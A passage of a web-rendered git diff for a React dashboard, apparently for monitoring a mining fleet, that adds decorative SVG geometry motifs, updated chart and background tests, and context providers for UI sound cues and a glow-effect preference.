|
const r = 14;
|
||||||
|
const centers = [{ x: cx, y: cy }];
|
||||||
|
for (let i = 0; i < 6; i++) {
|
||||||
|
const a = (i * 60 * Math.PI) / 180;
|
||||||
|
centers.push({ x: cx + r * Math.cos(a), y: cy + r * Math.sin(a) });
|
||||||
|
}
|
||||||
|
return (
|
||||||
|
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g opacity={opacity}>
|
||||||
|
<circle cx={cx} cy={cy} r={r * 2.2} fill="none" stroke={stroke} strokeWidth="0.2" strokeDasharray="0.8 1.4" />
|
||||||
|
{centers.map((c, i) => (
|
||||||
|
<circle key={i} cx={c.x} cy={c.y} r={r} fill="none" stroke={stroke} strokeWidth="0.18" />
|
||||||
|
))}
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function MetatronCube({ className = '', stroke = DEFAULT_STROKE, opacity = 0.45 }: MotifProps) {
|
||||||
|
const cx = 50;
|
||||||
|
const cy = 50;
|
||||||
|
const r = 28;
|
||||||
|
const pts: { x: number; y: number }[] = [];
|
||||||
|
for (let i = 0; i < 6; i++) {
|
||||||
|
const a = ((i * 60 - 90) * Math.PI) / 180;
|
||||||
|
pts.push({ x: cx + r * Math.cos(a), y: cy + r * Math.sin(a) });
|
||||||
|
}
|
||||||
|
const inner = r * 0.55;
|
||||||
|
const innerPts: { x: number; y: number }[] = [];
|
||||||
|
for (let i = 0; i < 6; i++) {
|
||||||
|
const a = ((i * 60 - 90) * Math.PI) / 180;
|
||||||
|
innerPts.push({ x: cx + inner * Math.cos(a), y: cy + inner * Math.sin(a) });
|
||||||
|
}
|
||||||
|
const lines: [number, number][] = [];
|
||||||
|
for (let i = 0; i < pts.length; i++) {
|
||||||
|
for (let j = i + 1; j < pts.length; j++) lines.push([i, j]);
|
||||||
|
}
|
||||||
|
for (let i = 0; i < innerPts.length; i++) {
|
||||||
|
for (let j = i + 1; j < innerPts.length; j++) lines.push([i + 6, j + 6]);
|
||||||
|
}
|
||||||
|
pts.forEach((_, i) => lines.push([i, i + 6]));
|
||||||
|
|
||||||
|
return (
|
||||||
|
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g opacity={opacity} stroke={stroke} strokeWidth="0.14" fill="none">
|
||||||
|
<circle cx={cx} cy={cy} r={r * 1.05} strokeWidth="0.16" />
|
||||||
|
<circle cx={cx} cy={cy} r={inner} strokeDasharray="0.5 1" />
|
||||||
|
{lines.map(([a, b], i) => {
|
||||||
|
const p1 = a < 6 ? pts[a] : innerPts[a - 6];
|
||||||
|
const p2 = b < 6 ? pts[b] : innerPts[b - 6];
|
||||||
|
return <line key={i} x1={p1.x} y1={p1.y} x2={p2.x} y2={p2.y} opacity="0.5" />;
|
||||||
|
})}
|
||||||
|
{[...pts, ...innerPts].map((p, i) => (
|
||||||
|
<circle key={`d${i}`} cx={p.x} cy={p.y} r="0.5" fill={stroke} stroke="none" />
|
||||||
|
))}
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function VesicaPiscis({ className = '', stroke = DEFAULT_STROKE, opacity = 0.5 }: MotifProps) {
|
||||||
|
const cx = 50;
|
||||||
|
const cy = 50;
|
||||||
|
const r = 22;
|
||||||
|
return (
|
||||||
|
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g opacity={opacity} fill="none" stroke={stroke}>
|
||||||
|
<circle cx={cx - r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
|
||||||
|
<circle cx={cx + r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
|
||||||
|
<path
|
||||||
|
d={`M ${cx} ${cy - r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy + r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy - r * 0.87}`}
|
||||||
|
stroke="#00f5ff"
|
||||||
|
strokeWidth="0.16"
|
||||||
|
opacity="0.6"
|
||||||
|
/>
|
||||||
|
<line x1={cx} y1={cy - r} x2={cx} y2={cy + r} strokeWidth="0.12" opacity="0.35" />
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function HexLattice({ className = '', stroke = DEFAULT_STROKE, opacity = 0.35 }: MotifProps) {
|
||||||
|
const hex = (cx: number, cy: number, s: number) => {
|
||||||
|
const pts = Array.from({ length: 6 }, (_, i) => {
|
||||||
|
const a = ((60 * i - 30) * Math.PI) / 180;
|
||||||
|
return `${cx + s * Math.cos(a)},${cy + s * Math.sin(a)}`;
|
||||||
|
}).join(' ');
|
||||||
|
return <polygon key={`${cx}-${cy}`} points={pts} />;
|
||||||
|
};
|
||||||
|
return (
|
||||||
|
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.12">
|
||||||
|
{hex(50, 50, 18)}
|
||||||
|
{hex(50, 32, 10)}
|
||||||
|
{hex(50, 68, 10)}
|
||||||
|
{hex(34, 41, 10)}
|
||||||
|
{hex(66, 41, 10)}
|
||||||
|
{hex(34, 59, 10)}
|
||||||
|
{hex(66, 59, 10)}
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function GoldenSpiral({ className = '', stroke = DEFAULT_STROKE, opacity = 0.4 }: MotifProps) {
|
||||||
|
const cx = 18;
|
||||||
|
const cy = 82;
|
||||||
|
return (
|
||||||
|
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.18">
|
||||||
|
<rect x="18" y="18" width="64" height="64" strokeDasharray="1 2" opacity="0.35" />
|
||||||
|
<path
|
||||||
|
d="M 18 82 A 64 64 0 0 1 82 18 A 40 40 0 0 1 58 42 A 24 24 0 0 1 42 58 A 14 14 0 0 1 50 50"
|
||||||
|
stroke="#ffb020"
|
||||||
|
/>
|
||||||
|
<circle cx={cx} cy={cy} r="1" fill={stroke} />
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function TorusRings({ className = '', stroke = DEFAULT_STROKE, opacity = 0.42 }: MotifProps) {
|
||||||
|
const cx = 50;
|
||||||
|
const cy = 50;
|
||||||
|
return (
|
||||||
|
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g opacity={opacity} fill="none" stroke={stroke}>
|
||||||
|
{[34, 26, 18, 10].map((r, i) => (
|
||||||
|
<ellipse
|
||||||
|
key={r}
|
||||||
|
cx={cx}
|
||||||
|
cy={cy}
|
||||||
|
rx={r}
|
||||||
|
ry={r * (0.55 + i * 0.08)}
|
||||||
|
strokeWidth="0.16"
|
||||||
|
transform={`rotate(${i * 12} ${cx} ${cy})`}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
<circle cx={cx} cy={cy} r="2" fill={stroke} opacity="0.8" />
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Whimsical “key to knowledge” — geometric bow + shaft */
|
||||||
|
export function KnowledgeKey({ className = '', stroke = DEFAULT_STROKE, opacity = 0.55 }: MotifProps) {
|
||||||
|
return (
|
||||||
|
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g opacity={opacity} fill="none" stroke={stroke} strokeLinecap="round" strokeLinejoin="round">
|
||||||
|
<circle cx="38" cy="38" r="16" strokeWidth="0.35" />
|
||||||
|
<circle cx="38" cy="38" r="8" stroke="#00f5ff" strokeWidth="0.25" />
|
||||||
|
<polygon
|
||||||
|
points="38,22 46,30 38,38 30,30"
|
||||||
|
strokeWidth="0.2"
|
||||||
|
fill="rgba(201,162,39,0.08)"
|
||||||
|
/>
|
||||||
|
<line x1="50" y1="50" x2="88" y2="88" strokeWidth="0.35" />
|
||||||
|
<rect x="72" y="72" width="8" height="8" strokeWidth="0.22" transform="rotate(45 76 76)" />
|
||||||
|
<rect x="80" y="64" width="6" height="6" strokeWidth="0.2" transform="rotate(45 83 67)" />
|
||||||
|
<path d="M 62 62 L 68 56 M 70 70 L 76 64" strokeWidth="0.18" opacity="0.7" />
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function SriYantraLite({ className = '', stroke = DEFAULT_STROKE, opacity = 0.4 }: MotifProps) {
|
||||||
|
const cx = 50;
|
||||||
|
const cy = 52;
|
||||||
|
const tri = (r: number, flip: boolean) => {
|
||||||
|
const pts = [0, 120, 240].map((d) => {
|
||||||
|
const rad = ((d - 90) * Math.PI) / 180;
|
||||||
|
const y = (flip ? -1 : 1) * r * Math.sin(rad);
|
||||||
|
return `${cx + r * Math.cos(rad)},${cy + y}`;
|
||||||
|
});
|
||||||
|
return pts.join(' ');
|
||||||
|
};
|
||||||
|
return (
|
||||||
|
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.16">
|
||||||
|
<circle cx={cx} cy={cy} r="38" strokeDasharray="1.5 2" />
|
||||||
|
<polygon points={tri(32, false)} />
|
||||||
|
<polygon points={tri(24, true)} stroke="#ff2da6" opacity="0.65" />
|
||||||
|
<polygon points={tri(16, false)} stroke="#00f5ff" opacity="0.55" />
|
||||||
|
<circle cx={cx} cy={cy} r="1.2" fill={stroke} />
|
||||||
|
</g>
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export type MotifName =
|
||||||
|
| 'flower'
|
||||||
|
| 'seed'
|
||||||
|
| 'metatron'
|
||||||
|
| 'vesica'
|
||||||
|
| 'hex'
|
||||||
|
| 'spiral'
|
||||||
|
| 'torus'
|
||||||
|
| 'key'
|
||||||
|
| 'yantra';
|
||||||
|
|
||||||
|
export function SacredMotif({
|
||||||
|
name,
|
||||||
|
className = '',
|
||||||
|
stroke,
|
||||||
|
opacity,
|
||||||
|
}: MotifProps & { name: MotifName }) {
|
||||||
|
const props = { className, stroke, opacity };
|
||||||
|
switch (name) {
|
||||||
|
case 'seed':
|
||||||
|
return <SeedOfLife {...props} />;
|
||||||
|
case 'metatron':
|
||||||
|
return <MetatronCube {...props} />;
|
||||||
|
case 'vesica':
|
||||||
|
return <VesicaPiscis {...props} />;
|
||||||
|
case 'hex':
|
||||||
|
return <HexLattice {...props} />;
|
||||||
|
case 'spiral':
|
||||||
|
return <GoldenSpiral {...props} />;
|
||||||
|
case 'torus':
|
||||||
|
return <TorusRings {...props} />;
|
||||||
|
case 'key':
|
||||||
|
return <KnowledgeKey {...props} />;
|
||||||
|
case 'yantra':
|
||||||
|
return <SriYantraLite {...props} />;
|
||||||
|
case 'flower':
|
||||||
|
default:
|
||||||
|
return <FlowerOfLifeWatermark {...props} />;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -13,6 +13,7 @@ import { downloadApiFile, downloadAuthedFile } from '../api/download';
|
|||||||
import { getStoredAuth } from '../api/auth';
|
import { getStoredAuth } from '../api/auth';
|
||||||
import { useWebSocket } from '../hooks/useWebSocket';
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
import { DEFAULT_FLEET_FILTERS } from '../help/fleetFilters';
|
import { DEFAULT_FLEET_FILTERS } from '../help/fleetFilters';
|
||||||
|
import { generateSampleSeries, validateChartSeries } from '../help/chartSampleData';
|
||||||
|
|
||||||
import NeonCard from './NeonCard/NeonCard';
|
import NeonCard from './NeonCard/NeonCard';
|
||||||
import { HelpTip, FieldHint } from './HelpTip';
|
import { HelpTip, FieldHint } from './HelpTip';
|
||||||
@@ -316,7 +317,23 @@ describe('HashrateChart', () => {
|
|||||||
it('shows empty state when data is empty', () => {
|
it('shows empty state when data is empty', () => {
|
||||||
render(<HashrateChart data={[]} title="Fleet Hash" />);
|
render(<HashrateChart data={[]} title="Fleet Hash" />);
|
||||||
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
|
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
|
||||||
expect(screen.getByText(/Awaiting signal from fleet/i)).toBeInTheDocument();
|
expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders chart with validated sample series', () => {
|
||||||
|
const sample = generateSampleSeries('hashrate', 24);
|
||||||
|
expect(validateChartSeries(sample).ok).toBe(true);
|
||||||
|
render(
|
||||||
|
<HashrateChart
|
||||||
|
data={sample}
|
||||||
|
displayMode="sample"
|
||||||
|
title="Fleet Hash"
|
||||||
|
color="#00f5ff"
|
||||||
|
unit="H/s"
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
expect(screen.getByText(/PEAK/)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/PROJECTION/)).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('renders chart with data points', () => {
|
it('renders chart with data points', () => {
|
||||||
@@ -728,6 +745,8 @@ describe('AmbientBackground', () => {
|
|||||||
const { container } = render(<AmbientBackground />);
|
const { container } = render(<AmbientBackground />);
|
||||||
expect(container.querySelector('.ambient-bg')).toBeTruthy();
|
expect(container.querySelector('.ambient-bg')).toBeTruthy();
|
||||||
expect(container.querySelector('.ambient-sacred-geo')).toBeTruthy();
|
expect(container.querySelector('.ambient-sacred-geo')).toBeTruthy();
|
||||||
|
expect(container.querySelector('.ambient-geo-hex-veil')).toBeTruthy();
|
||||||
|
expect(container.querySelectorAll('.ambient-geo-corner').length).toBeGreaterThanOrEqual(2);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
92
server/web/src/context/SoundContext.tsx
Normal file
92
server/web/src/context/SoundContext.tsx
Normal file
@@ -0,0 +1,92 @@
|
|||||||
|
import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
|
||||||
|
import { hapticEngine, loadSoundEnabled, loadSoundVolume, type SoundCue } from '../audio/hapticEngine';
|
||||||
|
|
||||||
|
type SoundContextValue = {
|
||||||
|
enabled: boolean;
|
||||||
|
volume: number;
|
||||||
|
setEnabled: (v: boolean) => void;
|
||||||
|
setVolume: (v: number) => void;
|
||||||
|
play: (cue: SoundCue) => void;
|
||||||
|
preview: (cue?: SoundCue) => void;
|
||||||
|
};
|
||||||
|
|
||||||
|
const SoundContext = createContext<SoundContextValue | null>(null);
|
||||||
|
|
||||||
|
export function SoundProvider({ children }: { children: React.ReactNode }) {
|
||||||
|
const [enabled, setEnabledState] = useState(loadSoundEnabled);
|
||||||
|
const [volume, setVolumeState] = useState(loadSoundVolume);
|
||||||
|
|
||||||
|
const setEnabled = useCallback((v: boolean) => {
|
||||||
|
hapticEngine.setEnabled(v);
|
||||||
|
setEnabledState(v);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const setVolume = useCallback((v: number) => {
|
||||||
|
hapticEngine.setVolume(v);
|
||||||
|
setVolumeState(hapticEngine.getVolume());
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const play = useCallback((cue: SoundCue) => {
|
||||||
|
hapticEngine.play(cue);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const preview = useCallback((cue: SoundCue = 'click') => {
|
||||||
|
hapticEngine.unlock();
|
||||||
|
hapticEngine.play(cue);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
hapticEngine.setEnabled(enabled);
|
||||||
|
hapticEngine.setVolume(volume);
|
||||||
|
}, [enabled, volume]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const unlock = () => hapticEngine.unlock();
|
||||||
|
window.addEventListener('pointerdown', unlock, { once: true, passive: true });
|
||||||
|
window.addEventListener('keydown', unlock, { once: true });
|
||||||
|
return () => {
|
||||||
|
window.removeEventListener('pointerdown', unlock);
|
||||||
|
window.removeEventListener('keydown', unlock);
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const onClick = (e: MouseEvent) => {
|
||||||
|
if (!hapticEngine.isEnabled()) return;
|
||||||
|
const target = e.target as HTMLElement | null;
|
||||||
|
if (!target) return;
|
||||||
|
if (target.closest('[data-sfx="off"]')) return;
|
||||||
|
const interactive = target.closest(
|
||||||
|
'button:not(:disabled), .btn:not(:disabled), [role="button"]:not([aria-disabled="true"]), .nav-link, .mobile-nav__link, .mobile-nav__more-btn'
|
||||||
|
);
|
||||||
|
if (!interactive) return;
|
||||||
|
const isNav =
|
||||||
|
interactive.classList.contains('nav-link') ||
|
||||||
|
!!interactive.closest('.layout-nav, .mobile-nav');
|
||||||
|
hapticEngine.play(isNav ? 'nav' : 'click');
|
||||||
|
};
|
||||||
|
document.addEventListener('click', onClick, true);
|
||||||
|
return () => document.removeEventListener('click', onClick, true);
|
||||||
|
}, [enabled]);
|
||||||
|
|
||||||
|
const value = useMemo(
|
||||||
|
() => ({ enabled, volume, setEnabled, setVolume, play, preview }),
|
||||||
|
[enabled, volume, setEnabled, setVolume, play, preview]
|
||||||
|
);
|
||||||
|
|
||||||
|
return <SoundContext.Provider value={value}>{children}</SoundContext.Provider>;
|
||||||
|
}
|
||||||
|
|
||||||
|
const noopSound: SoundContextValue = {
|
||||||
|
enabled: false,
|
||||||
|
volume: 0,
|
||||||
|
setEnabled: () => {},
|
||||||
|
setVolume: () => {},
|
||||||
|
play: () => {},
|
||||||
|
preview: () => {},
|
||||||
|
};
|
||||||
|
|
||||||
|
export function useSound() {
|
||||||
|
const ctx = useContext(SoundContext);
|
||||||
|
return ctx ?? noopSound;
|
||||||
|
}
|
||||||
53
server/web/src/context/VisualEffectsContext.tsx
Normal file
53
server/web/src/context/VisualEffectsContext.tsx
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
|
||||||
|
import {
|
||||||
|
dispatchVisualPrefsChange,
|
||||||
|
loadGlowParticlesEnabled,
|
||||||
|
saveGlowParticlesEnabled,
|
||||||
|
VISUAL_PREFS_EVENT,
|
||||||
|
} from '../visual/visualPrefs';
|
||||||
|
|
||||||
|
type VisualEffectsContextValue = {
|
||||||
|
glowParticles: boolean;
|
||||||
|
setGlowParticles: (v: boolean) => void;
|
||||||
|
};
|
||||||
|
|
||||||
|
const VisualEffectsContext = createContext<VisualEffectsContextValue | null>(null);
|
||||||
|
|
||||||
|
export function VisualEffectsProvider({ children }: { children: React.ReactNode }) {
|
||||||
|
const [glowParticles, setGlowState] = useState(loadGlowParticlesEnabled);
|
||||||
|
|
||||||
|
const setGlowParticles = useCallback((v: boolean) => {
|
||||||
|
saveGlowParticlesEnabled(v);
|
||||||
|
setGlowState(v);
|
||||||
|
dispatchVisualPrefsChange();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const sync = () => setGlowState(loadGlowParticlesEnabled());
|
||||||
|
window.addEventListener(VISUAL_PREFS_EVENT, sync);
|
||||||
|
return () => window.removeEventListener(VISUAL_PREFS_EVENT, sync);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const value = useMemo(
|
||||||
|
() => ({ glowParticles, setGlowParticles }),
|
||||||
|
[glowParticles, setGlowParticles]
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<VisualEffectsContext.Provider value={value}>{children}</VisualEffectsContext.Provider>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useVisualEffects(): VisualEffectsContextValue {
|
||||||
|
const ctx = useContext(VisualEffectsContext);
|
||||||
|
if (!ctx) {
|
||||||
|
return {
|
||||||
|
glowParticles: loadGlowParticlesEnabled(),
|
||||||
|
setGlowParticles: (v) => {
|
||||||
|
saveGlowParticlesEnabled(v);
|
||||||
|
dispatchVisualPrefsChange();
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
return ctx;
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user